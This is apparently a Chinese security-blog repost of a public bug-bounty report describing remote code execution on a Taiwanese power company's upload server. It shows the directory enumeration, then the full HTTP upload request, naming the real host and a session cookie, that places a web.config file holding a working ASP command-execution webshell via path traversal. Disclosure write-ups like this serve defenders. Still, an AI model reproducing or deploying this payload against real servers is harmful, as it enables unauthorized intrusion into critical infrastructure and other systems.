|
现在只对常读和星标的公众号才展示大图推送,建议大家把“潇湘信安”设为星标,否则可能看不到了!
报告来源于某漏洞平台,是已公开的报告,作者:@Kaibro
0x01 叙述
由于 web目录不在常见路径下,所以沒办法直接写入 webshell
但因为该路径使用短文件名格式,且不存在或无法写入路径会提示上传失败,所以可以穷举目录结构:
- c:/var/
- customers
- delta
- docs
- downloads
- FolderRequest
- export
- images
- import
- list
- logfiles
- quest
- report
- temp
- templates
- update
- uploads
- users
- featur~1
- subscr~1
- unsubs~1
- return~1
- replym~1
- receiv~1
0x02 上传文件过程
由于尝试上传 asp / aspx / asmx 皆未被解析,故改以写入 web.config 方式,成功取得系統控制权限。
上传 web.config webshell:
执行命令
执行 ipconfig 确认该机器位于 10.X.X.X 网段
上传 web.config webshell 请求包:
POST /uploadfile/UploadFile.aspx
Host: ebppsmtp.taipower.com.tw
Cookie: ASP.NET_SessionId=g0mm3f454prtib55g5nwkj45
Content-Length: 1354
Origin: https://ebppsmtp.taipower.com.tw
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv00ZBQrKTDBA8xQS
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Connection: close
------WebKitFormBoundaryv00ZBQrKTDBA8xQS
Content-Disposition: form-data; name="UploadFile"; filename="hi.txt"
Content-Type: text/plain
<configuration>
<system.webServer>
<handlersaccessPolicy="Read, Script, Write">
<addname="web_config"path="*.config"verb="*"modules="IsapiModule"scriptProcessor="%windir%system32inetsrvasp.dll"resourceType="Unspecified"requireAccess="Write"preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<removefileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<removesegment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<!--
<%
Response.Write("-"&"->")
Function GetCommandOutput(command)
Set shell = CreateObject("WScript.Shell")
Set exec = shell.Exec(command)
GetCommandOutput = exec.StdOut.ReadAll
End Function
Response.Write(GetCommandOutput("cmd /c " + Request("cmd")))
Response.Write("<!-"&"-")
%>
-->
------WebKitFormBoundaryv00ZBQrKTDBA8xQS
Content-Disposition: form-data; name="UploadFileName"
../../../../../var/uploads/web.config
------WebKitFormBoundaryv00ZBQrKTDBA8xQS--
原文始发于微信公众号(潇湘信安):某电力公司web.config的RCE之旅
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论